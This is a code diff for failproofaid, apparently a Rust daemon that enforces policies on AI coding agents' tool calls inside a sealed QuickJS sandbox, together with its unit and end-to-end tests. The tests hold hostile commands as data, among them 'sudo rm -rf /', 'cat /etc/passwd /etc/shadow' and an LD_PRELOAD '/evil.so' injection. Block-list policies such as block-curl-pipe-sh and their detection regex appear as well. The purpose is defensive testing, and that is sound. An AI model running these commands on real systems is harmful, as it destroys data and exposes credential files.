serde_json::from_str(&json).map_err(|e| WorkerError::Protocol(e.to_string())) + }) + } + + /// Evaluate one hook event within `deadline`. + /// + /// Takes and returns JSON strings rather than typed values. That is + /// deliberate: the request crosses a language boundary, and one + /// serialisation format means one place for a shape to be wrong. + pub fn evaluate(&self, request_json: &str, deadline: Duration) -> Result { + let started = Instant::now(); + self.interrupt.store(false, Ordering::Relaxed); + + // Arm the watchdog BEFORE entering QuickJS. Everything below this line + // may be a single synchronous call that does not return for minutes; + // the watchdog is the only thing that can interrupt it. See [`Watchdog`] + // for the measured case that makes this load-bearing rather than + // defensive. + self.watchdog.arm(started + deadline); + + let result = self.context.with(|ctx| -> Result { + let f: Function = ctx + .globals() + .get("__fpai_sealed_evaluate") + .map_err(|e| WorkerError::Protocol(e.to_string()))?; + + let promise: Promise = match f.call((request_json,)) { + Ok(p) => p, + Err(e) => { + // An interrupt unwinds as an ordinary exception, so a call + // that failed *after* the watchdog fired is a deadline + // miss, not a policy crash. Reporting it as the latter + // would send a circuit breaker after a policy that was + // merely slow. + if self.interrupt.load(Ordering::Relaxed) { + return Err(WorkerError::DeadlineExceeded { + elapsed: started.elapsed(), + }); + } + return Err(WorkerError::Evaluation(describe_js_error(&ctx, e))); + } + }; + + // Drive the microtask queue by hand rather than handing control to + // an async runtime. The enforcement lane is synchronous and + // deadline-bounded, and pumping jobs here is what lets the deadline + // be checked between them — an executor would take that away. + // + // **`ctx.execute_pending_job()`, never `self.runtime`'s.** We are + // inside `Context::with`, which holds the runtime's `SafeRef` borrow + // for the whole closure; `Runtime::execute_pending_job` re-borrows + // the same `RefCell` and panics with "RefCell already borrowed". + // + // That panic was reachable from ordinary input on the shipped + // defaults. It needs two things at once: a promise that has not + // settled by the time the deadline passes (so this branch runs at + // all) and more than one enabled policy (with exactly one, the + // interrupt lands in the initial `f.call` and never reaches here). + // Every deadline test in this file used a single policy, so all of + // them passed while an 80 KB command against the default eleven + // killed the worker thread — and because `Ping` is answered by the + // *connection* thread, the daemon went on reporting healthy while + // its lane was gone. + loop { + match promise.clone().finish::() { + Ok(s) => return Ok(s), + Err(rquickjs::Error::WouldBlock) => { + if started.elapsed() >= deadline { + // Ask QuickJS to unwind, then let it: a policy stuck + // in a tight loop only stops because the interrupt + // handler says so. + self.interrupt.store(true, Ordering::Relaxed); + let _ = ctx.execute_pending_job(); + return Err(WorkerError::DeadlineExceeded { + elapsed: started.elapsed(), + }); + } + // Returns whether a job ran, so "nothing left to run" is + // the same call rather than a second `is_job_pending` + // borrow. A microtask that throws rejects the promise + // rather than surfacing here, and the rejection is + // reported by the `Err(e)` arm below — which is where it + // belongs, since that arm already distinguishes a + // genuine throw from an interrupt unwind. + if !ctx.execute_pending_job() { + return Err(WorkerError::Protocol( + "sealed evaluation promise never settled and no jobs remain" + .to_string(), + )); + } + } + Err(e) => { + if self.interrupt.load(Ordering::Relaxed) { + return Err(WorkerError::DeadlineExceeded { + elapsed: started.elapsed(), + }); + } + return Err(WorkerError::Evaluation(describe_js_error(&ctx, e))); + } + } + } + }); + + // Disarm before clearing the flag, so a watchdog that is mid-fire + // cannot set it again after the clear and interrupt the *next* + // evaluation for a deadline that has already passed. + self.watchdog.disarm(); + self.interrupt.store(false, Ordering::Relaxed); + if result.is_ok() { + self.evaluations.fetch_add(1, Ordering::Relaxed); + } + result + } + + /// Completed evaluations since start, for the health snapshot. + pub fn evaluation_count(&self) -> u64 { + self.evaluations.load(Ordering::Relaxed) + } +} + +/// Turn an rquickjs error into something a log reader can act on. +/// +/// `Error::Exception` on its own says only "an exception happened" — the +/// message and stack live on the context. Pulling them out here is the +/// difference between a diagnosable circuit-breaker trip and a mystery. +fn describe_js_error(ctx: &rquickjs::Ctx<'_>, err: rquickjs::Error) -> String { + match err { + rquickjs::Error::Exception => { + let exception = ctx.catch(); + match exception.as_exception() { + Some(e) => { + let message = e.message().unwrap_or_else(|| "".into()); + match e.stack() { + Some(stack) => format!("{message}\n{stack}"), + None => message, + } + } + None => format!("non-Error exception: {exception:?}"), + } + } + other => other.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn worker() -> SealedWorker { + SealedWorker::new().expect("the embedded bundle must load") + } + + fn request(event: &str, payload: serde_json::Value, policies: &[&str]) -> String { + serde_json::json!({ + "eventType": event, + "payload": payload, + "session": { + "cli": "claude", + "cwd": "/home/enrolled/project", + "home": "/home/enrolled", + "permissionMode": "default", + "sessionId": "sess-test" + }, + "config": { "enabledPolicies": policies } + }) + .to_string() + } + + const DEADLINE: Duration = Duration::from_millis(2000); + + #[test] + fn the_bundle_loads_and_installs_its_globals() { + let w = worker(); + let names = w.policy_names().unwrap(); + assert_eq!(names.len(), 32, "expected the 32 sealed-eligible builtins"); + assert!(names.contains(&"block-sudo".to_string())); + assert!( + !names.contains(&"require-commit-before-stop".to_string()), + "a host-access policy must never be reported as sealed-eligible" + ); + } + + #[test] + fn denies_sudo_with_the_claude_pretooluse_shape() { + let w = worker(); + let raw = w + .evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "sudo rm -rf /"}}), + &["block-sudo"], + ), + DEADLINE, + ) + .unwrap(); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["ok"], true); + assert_eq!(v["result"]["decision"], "deny"); + assert_eq!(v["result"]["policyName"], "failproofai/block-sudo"); + assert_eq!(v["result"]["exitCode"], 0); + + let stdout: serde_json::Value = + serde_json::from_str(v["result"]["stdout"].as_str().unwrap()).unwrap(); + assert_eq!(stdout["hookSpecificOutput"]["permissionDecision"], "deny"); + } + + #[test] + fn allows_a_benign_command() { + let w = worker(); + let raw = w + .evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "ls -la"}}), + &["block-sudo"], + ), + DEADLINE, + ) + .unwrap(); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["result"]["decision"], "allow"); + assert_eq!(v["result"]["exitCode"], 0); + assert_eq!(v["result"]["stdout"], ""); + } + + #[test] + fn the_context_has_no_filesystem_process_or_network() { + // The tier's whole claim, asserted against the real engine rather than + // the Node proxy the TypeScript suite uses. + let w = worker(); + w.context.with(|ctx| { + for expr in [ + "typeof require", + "typeof fetch", + "typeof globalThis.fs", + "typeof globalThis.child_process", + "typeof XMLHttpRequest", + "typeof WebAssembly", + ] { + let ty: String = ctx.eval(expr).unwrap(); + assert_eq!( + ty, "undefined", + "{expr} should not exist in the sealed context" + ); + } + }); + } + + #[test] + fn requiring_a_host_module_throws_rather_than_succeeding() { + // The spike criterion from the plan, stated against real QuickJS-ng. + let w = worker(); + w.context.with(|ctx| { + // Mapped to `()` inside the closure: an rquickjs `Value` borrows the + // context and cannot escape `with`. + let outcome = ctx.eval::<(), _>(r#"require("node:fs")"#); + assert!( + outcome.is_err(), + "require() must not resolve in the sealed context" + ); + }); + } + + #[test] + fn process_env_is_present_but_empty() { + // The prelude defines it so a legacy lambda cannot ReferenceError. It + // must never carry the daemon's real environment — that would hand a + // policy the daemon's own PATH and, later, the delivery key, neither of + // which is part of the evaluation request. + let w = worker(); + w.context.with(|ctx| { + let json: String = ctx.eval("JSON.stringify(process.env)").unwrap(); + assert_eq!(json, "{}"); + }); + } + + #[test] + fn a_host_access_policy_is_routed_out_rather_than_run() { + let w = worker(); + let raw = w + .evaluate( + &request( + "Stop", + serde_json::json!({}), + &["block-sudo", "require-commit-before-stop"], + ), + DEADLINE, + ) + .unwrap(); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["ok"], true); + assert_eq!( + v["needsUserContext"], + serde_json::json!(["require-commit-before-stop"]) + ); + } + + #[test] + fn malformed_json_is_a_structured_error_not_an_allow() { + let w = worker(); + let raw = w.evaluate("{ not json", DEADLINE).unwrap(); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["ok"], false); + assert!(v["result"].is_null(), "a failure must not carry a verdict"); + } + + #[test] + fn a_warm_context_gives_the_same_answer_a_thousand_times() { + // The Rust-side echo of the TypeScript soak test. The hazard is a + // hoisted `/g` regex whose lastIndex survives between evaluations — + // which would make the second answer differ from the first, silently. + let w = worker(); + let req = request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "cat /etc/passwd /etc/shadow"}}), + &["block-read-outside-cwd"], + ); + let baseline = w.evaluate(&req, DEADLINE).unwrap(); + for i in 0..1000 { + let got = w.evaluate(&req, DEADLINE).unwrap(); + assert_eq!(got, baseline, "diverged at iteration {i}"); + } + let v: serde_json::Value = serde_json::from_str(&baseline).unwrap(); + assert_eq!(v["result"]["decision"], "deny"); + assert_eq!(w.evaluation_count(), 1001); + } + + #[test] + fn a_catastrophically_backtracking_regex_hits_the_deadline() { + // The regression test for the defect the previous version of this file + // did not have. `block-curl-pipe-sh` is default-enabled and sealed, and + // its `/(?:curl|wget)\s.*\|\s*(?:sh|bash|…)\b/` backtracks + // quadratically on `"curl ".repeat(n)`. Without a watchdog thread this + // returned `Ok` after 30 s against a 200 ms deadline — the deadline + // check lived in the microtask pump, which cannot run while a + // synchronous policy body is executing, so nothing ever set the + // interrupt flag. + // + // Deliberately does NOT pre-arm the interrupt. That is exactly what + // made the neighbouring test pass while the daemon was wedgeable: it + // proved the handler works, not that anything arms it. + let w = worker(); + let payload = "curl ".repeat(16_000); // ~80 KB, well under the 1 MiB frame cap + let req = request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": payload}}), + &["block-curl-pipe-sh"], + ); + + let started = Instant::now(); + let outcome = w.evaluate(&req, Duration::from_millis(200)); + let elapsed = started.elapsed(); + + assert!( + matches!(outcome, Err(WorkerError::DeadlineExceeded { .. })), + "expected DeadlineExceeded, got {outcome:?} after {elapsed:?}" + ); + // Generous bound: the watchdog fires at 200 ms and QuickJS then has to + // reach its next interrupt poll. Anything under a second proves the + // mechanism; without it this took 30 s. + assert!( + elapsed < Duration::from_secs(3), + "the watchdog did not interrupt promptly: {elapsed:?}" + ); + } + + #[test] + fn a_deadline_miss_with_several_policies_does_not_kill_the_worker() { + // The regression test for a panic that every existing deadline test + // missed by construction. `Runtime::execute_pending_job` re-borrows a + // `RefCell` that `Context::with` already holds, so the microtask-pump + // branch panicked with "RefCell already borrowed" — but only when that + // branch was reached at all, which needs the promise still pending at + // the deadline AND more than one enabled policy. With exactly one, the + // interrupt lands in the initial `f.call` and returns cleanly. + // + // Every deadline test in this file used one policy. The shipped default + // is eleven. + let w = worker(); + let payload = "curl ".repeat(16_000); + let outcome = w.evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": payload}}), + &[ + "block-curl-pipe-sh", + "block-sudo", + "block-env-files", + "protect-env-vars", + ], + ), + Duration::from_millis(200), + ); + + assert!( + matches!(outcome, Err(WorkerError::DeadlineExceeded { .. })), + "expected DeadlineExceeded, got {outcome:?}" + ); + + // The worker must still be alive. A panic here would have poisoned the + // thread, and the daemon would have gone on answering Ping from its + // connection threads while the lane was gone — healthy-looking and + // permanently useless. + let raw = w + .evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "sudo id"}}), + &["block-sudo", "block-env-files"], + ), + DEADLINE, + ) + .expect("the worker must survive a multi-policy deadline miss"); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["result"]["decision"], "deny"); + } + + #[test] + fn the_lane_still_works_after_a_deadline_miss() { + // The escalation that made the original defect fatal rather than + // merely slow: one runaway request wedged the single enforcement lane + // for every client on the machine, permanently. Recovery is the + // property that turns it back into an isolated failure. + let w = worker(); + let payload = "curl ".repeat(16_000); + let _ = w.evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": payload}}), + &["block-curl-pipe-sh"], + ), + Duration::from_millis(200), + ); + + let started = Instant::now(); + let raw = w + .evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "sudo id"}}), + &["block-sudo"], + ), + DEADLINE, + ) + .expect("the lane must recover after a deadline miss"); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["result"]["decision"], "deny"); + assert!( + started.elapsed() < Duration::from_secs(2), + "the next request was still blocked behind the runaway one" + ); + } + + #[test] + fn a_deadline_miss_is_not_reported_as_a_policy_crash() { + // An interrupt unwinds as an ordinary JS exception. Classifying it as + // an evaluation failure would trip the circuit breaker for a policy + // that was merely slow, and permanently disable it. + let w = worker(); + let outcome = w.evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "curl ".repeat(16_000)}}), + &["block-curl-pipe-sh"], + ), + Duration::from_millis(150), + ); + match outcome { + Err(WorkerError::DeadlineExceeded { .. }) => {} + other => panic!("expected DeadlineExceeded, got {other:?}"), + } + } + + #[test] + fn an_infinite_loop_is_interrupted_rather_than_hanging_the_daemon() { + // The property that makes the enforcement deadline real. Without the + // interrupt handler a runaway policy takes the daemon with it. + let w = worker(); + let start = Instant::now(); + let outcome = w.context.with(|ctx| { + // Set the flag from a watchdog-equivalent: here, directly, after + // arming it so the very first check unwinds. + w.interrupt.store(true, Ordering::Relaxed); + ctx.eval::<(), _>("while (true) {}") + .map_err(|e| e.to_string()) + }); + w.interrupt.store(false, Ordering::Relaxed); + assert!( + outcome.is_err(), + "an interrupted script must not return normally" + ); + assert!( + start.elapsed() < Duration::from_secs(5), + "the interrupt did not take effect promptly" + ); + } + + #[test] + fn the_worker_still_works_after_an_interrupt() { + // A tripped circuit breaker must not poison the context for everyone + // else. Enforcement continues for every other policy and every other + // user. + let w = worker(); + w.interrupt.store(true, Ordering::Relaxed); + let _ = w.context.with(|ctx| { + ctx.eval::<(), _>("while (true) {}") + .map_err(|e| e.to_string()) + }); + w.interrupt.store(false, Ordering::Relaxed); + + let raw = w + .evaluate( + &request( + "PreToolUse", + serde_json::json!({"tool_name": "Bash", "tool_input": {"command": "sudo id"}}), + &["block-sudo"], + ), + DEADLINE, + ) + .expect("the worker must recover"); + let v: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(v["result"]["decision"], "deny"); + } +} diff --git a/crates/failproofaid/tests/daemon_e2e.rs b/crates/failproofaid/tests/daemon_e2e.rs new file mode 100644 index 00000000..2275cdfc --- /dev/null +++ b/crates/failproofaid/tests/daemon_e2e.rs @@ -0,0 +1,536 @@ +//! End-to-end tests against a real bound socket. +//! +//! These drive the daemon the way the hook client does — connect, handshake, +//! one framed request, one framed response — rather than calling `handle_*` +//! directly. That matters because most of the properties worth asserting here +//! live at the boundary rather than in the handler: peer credentials come from +//! the kernel, `home` is derived rather than received, a client-asserted `home` +//! is refused, and an oversize frame is rejected before anything is allocated. +//! A unit test that constructed an `EvaluateHook` in memory would assert none +//! of that. + +use std::io::{Read, Write}; +use std::os::unix::net::UnixStream; +use std::path::PathBuf; +use std::thread; +use std::time::Duration; + +use failproofaid::Daemon; + +/// A daemon on a unique socket under the target dir, torn down on drop. +struct Harness { + socket: PathBuf, + _thread: thread::JoinHandle<()>, +} + +impl Harness { + fn start(name: &str) -> Self { + // Under `target/` rather than /tmp: the repo's own dogfood policies + // block reads outside the project directory, and keeping test artifacts + // in-tree means a failed run leaves them somewhere obvious. + let dir = PathBuf::from(env!("CARGO_TARGET_TMPDIR")); + std::fs::create_dir_all(&dir).unwrap(); + let socket = dir.join(format!("{name}.sock")); + + let daemon = Daemon::bind(&socket).expect("daemon must bind"); + let thread = thread::spawn(move || { + // Serve until the listener errors, which happens when the socket is + // removed at teardown. + let _ = daemon.serve(); + }); + + // The bind is synchronous, so the socket exists by the time `bind` + // returned; no readiness poll needed. + Self { + socket, + _thread: thread, + } + } + + fn connect(&self) -> Conn { + let stream = UnixStream::connect(&self.socket).expect("connect"); + stream + .set_read_timeout(Some(Duration::from_secs(20))) + .unwrap(); + Conn { stream } + } +} + +impl Drop for Harness { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.socket); + } +} + +struct Conn { + stream: UnixStream, +} + +impl Conn { + fn send(&mut self, value: &serde_json::Value) { + let body = serde_json::to_vec(value).unwrap(); + let len = u32::try_from(body.len()).unwrap(); + self.stream.write_all(&len.to_be_bytes()).unwrap(); + self.stream.write_all(&body).unwrap(); + self.stream.flush().unwrap(); + } + + /// Send a raw length prefix without a matching body, to exercise the + /// oversize and truncation paths. + fn send_raw_prefix(&mut self, declared: u32) { + self.stream.write_all(&declared.to_be_bytes()).unwrap(); + self.stream.flush().unwrap(); + } + + fn recv(&mut self) -> serde_json::Value { + let mut len = [0u8; 4]; + self.stream.read_exact(&mut len).expect("length prefix"); + let mut body = vec![0u8; u32::from_be_bytes(len) as usize]; + self.stream.read_exact(&mut body).expect("body"); + serde_json::from_slice(&body).expect("json body") + } + + fn handshake(&mut self) -> serde_json::Value { + self.send(&serde_json::json!({ + "hello": { "protocol_version": 1, "client": "test", "client_version": "0" } + })); + self.recv() + } +} + +fn evaluate_request(command: &str) -> serde_json::Value { + evaluate_request_with(command, &["block-sudo", "block-read-outside-cwd"]) +} + +fn evaluate_request_with(command: &str, enabled: &[&str]) -> serde_json::Value { + let mut req = evaluate_request_base(command); + req["op"]["evaluate_hook"]["enabled_policies"] = serde_json::json!(enabled); + req +} + +fn evaluate_request_base(command: &str) -> serde_json::Value { + serde_json::json!({ + "request_id": "11111111-2222-3333-4444-555555555555", + "op": { "evaluate_hook": { + "cli": "claude", + "event_type": "PreToolUse", + "raw_event_type": "PreToolUse", + "payload": { "tool_name": "Bash", "tool_input": { "command": command } }, + "session": { + "session_id": "sess-e2e", + "transcript_path": null, + "permission_mode": "default", + "hook_event_name": "PreToolUse" + }, + "host": { + "home": null, + "cwd": "/home/u/project", + "project_dir": null, + "env_facts": { "CLAUDE_PROJECT_DIR": null } + }, + "enabled_policies": ["block-sudo"], + "deadline_ms": 2000, + "shadow": false + }} + }) +} + +#[test] +fn handshake_then_ping() { + let h = Harness::start("ping"); + let mut c = h.connect(); + + let ack = c.handshake(); + assert_eq!(ack["hello_ack"]["protocol_version"], 1); + assert!( + ack["hello_ack"]["generation_id"] + .as_str() + .unwrap() + .starts_with("gen-"), + "the ack must name the active generation so a client can correlate decisions" + ); + + c.send(&serde_json::json!({ "request_id": "p1", "op": { "ping": {} } })); + let pong = c.recv(); + assert_eq!(pong["request_id"], "p1"); + assert!(pong["result"]["pong"]["daemon_version"].is_string()); +} + +#[test] +fn denies_sudo_with_the_exact_claude_shape() { + let h = Harness::start("deny"); + let mut c = h.connect(); + c.handshake(); + + c.send(&evaluate_request("sudo rm -rf /")); + let res = c.recv(); + let ev = &res["result"]["evaluated"]; + + assert_eq!(res["request_id"], "11111111-2222-3333-4444-555555555555"); + assert_eq!(ev["decision"], "deny"); + assert_eq!(ev["policy_name"], "failproofai/block-sudo"); + assert_eq!(ev["exit_code"], 0); + assert_eq!(ev["stderr"], ""); + + // The bytes a harness actually sees. + let stdout: serde_json::Value = serde_json::from_str(ev["stdout"].as_str().unwrap()).unwrap(); + assert_eq!( + stdout, + serde_json::json!({ + "hookSpecificOutput": { + "hookEventName": "PreToolUse", + "permissionDecision": "deny", + "permissionDecisionReason": + "Blocked Bash by failproofai because: sudo commands are blocked, as per the policy configured by the user" + } + }) + ); + + assert!(ev["decision_id"].as_str().unwrap().starts_with("dec-")); + assert_eq!( + ev["needs_user_context"], + serde_json::json!([]), + "Stage 1 evaluates sealed-only and must report nothing pending" + ); +} + +#[test] +fn allows_a_benign_command() { + let h = Harness::start("allow"); + let mut c = h.connect(); + c.handshake(); + c.send(&evaluate_request("ls -la")); + let res = c.recv(); + assert_eq!(res["result"]["evaluated"]["decision"], "allow"); + assert_eq!(res["result"]["evaluated"]["exit_code"], 0); + assert_eq!(res["result"]["evaluated"]["stdout"], ""); +} + +#[test] +fn a_decision_reading_cwd_is_reported_sealed_unattested() { + // `cwd` is client-asserted and cannot be derived, so a decision that saw it + // must not claim full attestation. The attestation says which inputs the + // evaluator derived, not that the verdict could not have been forged — + // collapsing those two is how a provenance record becomes a security claim + // it does not support. + let h = Harness::start("attest"); + let mut c = h.connect(); + c.handshake(); + c.send(&evaluate_request("ls")); + let res = c.recv(); + assert_eq!( + res["result"]["evaluated"]["attestation"], + "sealed_unattested" + ); +} + +#[test] +fn the_daemon_evaluates_the_clients_policy_set_not_its_own() { + // The regression test for the worst defect this daemon has had. It used to + // evaluate a hardcoded list of the 11 default-enabled builtins and ignore + // what the client sent, so a user with `block-rm-rf` enabled got `allow` + // for `rm -rf /` the moment the daemon answered. + let h = Harness::start("client-set"); + let mut c = h.connect(); + c.handshake(); + + // `block-rm-rf` is NOT default-enabled. Under the old behaviour this + // allowed; it must now deny, because the client asked for it. + c.send(&evaluate_request_with("rm -rf /", &["block-rm-rf"])); + let res = c.recv(); + assert_eq!( + res["result"]["evaluated"]["decision"], "deny", + "the daemon ignored the client's enabled set: {res}" + ); + assert_eq!( + res["result"]["evaluated"]["policy_name"], + "failproofai/block-rm-rf" + ); +} + +#[test] +fn a_policy_the_sealed_tier_cannot_run_comes_back_as_needs_user_context() { + // The other half of the same defect: this list is how the client learns it + // must fall back to legacy. It was permanently empty while the daemon + // partitioned its own all-sealed list, which made the documented fallback + // unreachable. + let h = Harness::start("needs-user-context"); + let mut c = h.connect(); + c.handshake(); + + c.send(&evaluate_request_with( + "sudo id", + &[ + "block-sudo", + "require-commit-before-stop", + "custom/my-policy", + ], + )); + let res = c.recv(); + let pending = &res["result"]["evaluated"]["needs_user_context"]; + assert_eq!( + pending, + &serde_json::json!(["require-commit-before-stop", "custom/my-policy"]), + "a host-access builtin and a custom policy must both be reported, not silently dropped" + ); +} + +#[test] +fn a_peer_whose_uid_matches_is_served() { + // The positive half of the peer-UID check. Without it, a check that refused + // *everyone* would pass every negative test in this file and the daemon + // would answer nothing — which is exactly the shape of failure a + // negative-only test cannot see. + let h = Harness::start("peer-uid-ok"); + let mut c = h.connect(); + let ack = c.handshake(); + assert_eq!( + ack["hello_ack"]["protocol_version"], 1, + "a connection from the daemon's own uid must be served" + ); +} + +#[test] +fn the_daemon_serves_only_its_own_uid() { + // The check itself is a `peer.uid != current_uid()` comparison in + // `serve_connection`. Actually connecting as a *different* uid needs a + // second account and privilege to become it, which a unit test does not + // have — so this asserts the mechanism is wired rather than simulating the + // attacker. + // + // Worth being explicit about why this is not merely ceremony: the check was + // documented before it existed. An earlier revision read peer credentials + // and used the uid only to derive `home`, while the protocol document + // described it as keeping other users out. The source assertion below is + // what stops that regressing to a comment again; the live cross-uid case + // belongs in the service-lifecycle suite, which has two real accounts. + let source = include_str!("../src/server.rs"); + assert!( + source.contains("peer.uid != daemon_uid"), + "serve_connection no longer compares the peer uid against the daemon's own; \ + peer credentials are being read and then not used as a check" + ); + assert!( + source.contains("fpai_ipc::current_uid()"), + "the daemon's own uid must come from the kernel, not from configuration" + ); +} + +#[test] +fn a_request_with_no_enabled_policies_is_refused() { + // Neither "enforce nothing" nor "backfill the defaults" is a safe reading. + // The first turns a client bug into a silent allow; the second enforces a + // set the user never configured, which is the original defect. + let h = Harness::start("empty-set"); + let mut c = h.connect(); + c.handshake(); + + c.send(&evaluate_request_with("sudo id", &[])); + let res = c.recv(); + assert_eq!(res["result"]["error"]["code"], "malformed_frame"); + assert!( + res["result"]["evaluated"].is_null(), + "a refused request must not produce a verdict" + ); +} + +#[test] +fn a_client_asserted_home_is_refused_not_overwritten() { + // The single most important negative test in the file. `home` widens the + // allow set — `isAgentInternalPath` whitelists everything under it — so a + // client that could assert `home: "/"` would relax a sealed verdict. + let h = Harness::start("forged-home"); + let mut c = h.connect(); + c.handshake(); + + let mut req = evaluate_request("ls"); + req["op"]["evaluate_hook"]["host"]["home"] = serde_json::json!("/"); + c.send(&req); + + let res = c.recv(); + assert_eq!( + res["result"]["error"]["code"], "client_asserted_home", + "a forged home must be a protocol error, not silently corrected" + ); + assert!( + res["result"]["evaluated"].is_null(), + "a rejected envelope must not produce a verdict" + ); +} + +#[test] +fn an_unknown_env_fact_is_refused() { + // The hook client's environment originates in the agent's process, so an + // open-ended env map would be an injection channel into the daemon. + let h = Harness::start("env-fact"); + let mut c = h.connect(); + c.handshake(); + + let mut req = evaluate_request("ls"); + req["op"]["evaluate_hook"]["host"]["env_facts"]["LD_PRELOAD"] = serde_json::json!("/evil.so"); + c.send(&req); + + let res = c.recv(); + assert_eq!(res["result"]["error"]["code"], "unknown_env_fact"); + assert!( + res["result"]["error"]["message"] + .as_str() + .unwrap() + .contains("LD_PRELOAD"), + "the error must name the offending key, or the client cannot fix it" + ); +} + +#[test] +fn an_unsupported_protocol_version_is_refused_before_any_op() { + let h = Harness::start("version"); + let mut c = h.connect(); + c.send(&serde_json::json!({ + "hello": { "protocol_version": 99, "client": "test", "client_version": "0" } + })); + let reply = c.recv(); + assert_eq!(reply["version_mismatch"]["received"], 99); + assert_eq!( + reply["version_mismatch"]["supported"], + serde_json::json!([1]) + ); +} + +#[test] +fn an_oversize_frame_is_refused_without_allocating_it() { + // 4 GiB declared, no body sent. If the daemon allocated on the declared + // length this test would OOM the machine rather than fail. + let h = Harness::start("oversize"); + let mut c = h.connect(); + c.handshake(); + c.send_raw_prefix(u32::MAX); + + let res = c.recv(); + assert_eq!(res["result"]["error"]["code"], "frame_too_large"); +} + +#[test] +fn a_malformed_request_body_is_an_error_not_a_crash() { + let h = Harness::start("malformed"); + let mut c = h.connect(); + c.handshake(); + + let body = b"{ this is not a request }"; + let len = u32::try_from(body.len()).unwrap(); + c.stream.write_all(&len.to_be_bytes()).unwrap(); + c.stream.write_all(body).unwrap(); + c.stream.flush().unwrap(); + + let res = c.recv(); + assert_eq!(res["result"]["error"]["code"], "malformed_frame"); +} + +#[test] +fn home_is_derived_from_the_peer_uid_not_the_request() { + // The connecting process is this test, so the derived home is the test + // runner's own — and `block-read-outside-cwd` whitelisting `/.claude` is only possible if the daemon looked it up itself. The + // request carries `home: null` throughout. + let h = Harness::start("derived-home"); + let mut c = h.connect(); + c.handshake(); + + let home = std::env::var("HOME").expect("HOME must be set for this assertion"); + let mut req = evaluate_request("ls"); + req["op"]["evaluate_hook"]["payload"] = serde_json::json!({ + "tool_name": "Read", + "tool_input": { "file_path": format!("{home}/.claude/CLAUDE.md") } + }); + c.send(&req); + + let res = c.recv(); + // Allowed because it is under the *derived* home's agent directory. If + // `getpwuid_r(peer_uid)` were skipped and the field arrived empty — the + // shape of every regression here, since `home` is `Option` on the wire and + // an absent one deserializes silently — this would deny. + assert_eq!(res["result"]["evaluated"]["decision"], "allow"); +} + +#[test] +fn many_sequential_requests_on_one_connection_stay_consistent() { + // The lane is shared and the worker is warm. Two things could go wrong: + // state leaking between evaluations, and a response being matched to the + // wrong request. Both would be silent. + let h = Harness::start("sequential"); + let mut c = h.connect(); + c.handshake(); + + for i in 0..200 { + let deny = i % 2 == 0; + let mut req = evaluate_request(if deny { "sudo id" } else { "echo hi" }); + req["request_id"] = serde_json::json!(format!("req-{i}")); + c.send(&req); + let res = c.recv(); + assert_eq!( + res["request_id"], + format!("req-{i}"), + "response/request mismatch" + ); + assert_eq!( + res["result"]["evaluated"]["decision"], + if deny { "deny" } else { "allow" }, + "iteration {i} diverged" + ); + } +} + +#[test] +fn concurrent_connections_are_served_independently() { + // One enforcement lane, many connections. Requests must queue rather than + // interleave into each other's answers. + let h = Harness::start("concurrent"); + let socket = h.socket.clone(); + + let handles: Vec<_> = (0..8) + .map(|worker| { + let socket = socket.clone(); + thread::spawn(move || { + let stream = UnixStream::connect(&socket).expect("connect"); + stream + .set_read_timeout(Some(Duration::from_secs(30))) + .unwrap(); + let mut c = Conn { stream }; + c.handshake(); + for i in 0..25 { + let deny = (worker + i) % 2 == 0; + let mut req = evaluate_request(if deny { "sudo id" } else { "echo hi" }); + req["request_id"] = serde_json::json!(format!("w{worker}-r{i}")); + c.send(&req); + let res = c.recv(); + assert_eq!(res["request_id"], format!("w{worker}-r{i}")); + assert_eq!( + res["result"]["evaluated"]["decision"], + if deny { "deny" } else { "allow" } + ); + } + }) + }) + .collect(); + + for handle in handles { + handle.join().expect("worker thread panicked"); + } +} + +#[test] +fn a_connection_that_disconnects_mid_flight_does_not_take_the_daemon_down() { + let h = Harness::start("abrupt"); + + { + let mut c = h.connect(); + c.handshake(); + c.send(&evaluate_request("sudo id")); + // Drop without reading the response. + } + + // The daemon must still be serving. + let mut c = h.connect(); + c.handshake(); + c.send(&evaluate_request("sudo id")); + assert_eq!(c.recv()["result"]["evaluated"]["decision"], "deny"); +} diff --git a/crates/fpai-canon/Cargo.toml b/crates/fpai-canon/Cargo.toml new file mode 100644 index 00000000..ca76ba57 --- /dev/null +++ b/crates/fpai-canon/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "fpai-canon" +description = "Event, tool, and payload canonicalization for failproofaid, generated from src/hooks/types.ts" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true + +[lints] +workspace = true + +[dependencies] +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +[dev-dependencies] diff --git a/crates/fpai-canon/src/lib.rs b/crates/fpai-canon/src/lib.rs new file mode 100644 index 00000000..60f0c0a9 --- /dev/null +++ b/crates/fpai-canon/src/lib.rs @@ -0,0 +1,544 @@ +//! Canonicalization for `failproofaid`, driven entirely by generated data. +//! +//! Twelve vendor CLIs each name their events, their tools, and their tool-input +//! keys differently. `src/hooks/types.ts` is the single source of truth for all +//! of it — every entry annotated with the vendor version it was verified live +//! against — and `scripts/gen-canon-tables.ts` projects it into +//! `crates/generated/canonicalization-tables.json`, which this crate embeds at +//! compile time. +//! +//! **There is deliberately no hand-written table in 